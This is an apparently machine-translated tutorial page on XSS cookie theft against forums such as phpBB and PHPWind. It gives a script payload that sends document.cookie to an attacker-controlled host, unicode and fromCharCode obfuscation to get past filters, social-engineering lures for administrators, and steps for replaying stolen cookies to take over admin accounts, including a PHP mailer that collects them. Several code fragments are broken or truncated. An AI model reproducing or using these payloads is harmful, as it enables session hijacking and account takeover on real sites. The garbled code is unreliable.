XSS attack hiding JavaScript execution in cookie spoofing-JS Tutorial-php.cn

XSS attack hiding JavaScript execution in cookie spoofing

高洛峰

Release： 2016-11-25 09:45:00

Original

1450 people have browsed it

For example, if you find a place where XSS is possible:
<script>alert (just pop it up no matter what)</script>

Get a cookie-stealing file yourself.

The purpose is to let other viewers browse the traps we designed
<script>document.location=http://URL.com/cookie.php?cookie='+escape(document.cookie) &lt ;/script> In fact, I don’t need to say more about how to do it. . Now we are mainly talking about how to hide JavaScript execution. You may be used to going to milw0rm.com every day to see EXP, Every time the EXP of XSS vulnerability is released, when we exploit it. But I can’t cookie any information, why is that? . Large forums like Magic and PHPBB all have XSS vulnerabilities. I gave this <script>document.location=http://URL.com/cookie.php?cookie='+escape(document.cookie) </script>

Javascript will be displayed mistake.

There are two solutions. We can encode external sensitive information in unicode

Give a URL: http://www.mikezilla.com/exp0012.html

This is how it is encoded:
<script>eval( location.href="http://www.php1.cn/"> If the above does not work, use the second method The eval function in Javascript fromCharCode As mentioned above, some websites can be encoded with unicode For example, the encoded 104, 116, 116, and 112 are HTTP If the forum uses other editors, such as the WYSIWYG editor used by PHPWind It will definitely be exposed by directly typing http://url.com . Then we will change the URL according to the format of the editor For example, the site that steals COOKIE is http://www.URL.com We will do this http://www.url.com Of course you will see the displayed part It can be replaced with attractive information to defraud management and clicks Just use a little social engineering Now that the initial idea is completed, let’s start implementing it Step 1: Management sees our structure. Good trap, and clicked him Step 2: Javascript was executed successfully. Step 3: Constructed stolen COOKIE file to steal Cookie Step 4: We can’t be stupid enough to connect to the URL. It is plain text, and the URL is encoded in Unicode (it is customary to say it is encrypted here) http://www.mikezilla.com/exp0012.html Step 5: The intercepted cookie information is of course not in clear text, we only need to use FireFox Cookie Edit It's OK to replace COOKIE with , or use other tools such as CookieEditor. Personal suggestion: To steal cookies, you don't necessarily need to use space to collect cookie information. For example, just create a mailbox to collect it. @hotmail.com","cookie monster",$_REQUEST[cookie]); ?> <html> <script>document.location=http://www.URL.com/' ;</script>

Just steal the valuable information and replace the cookie. The replacement is the management permission.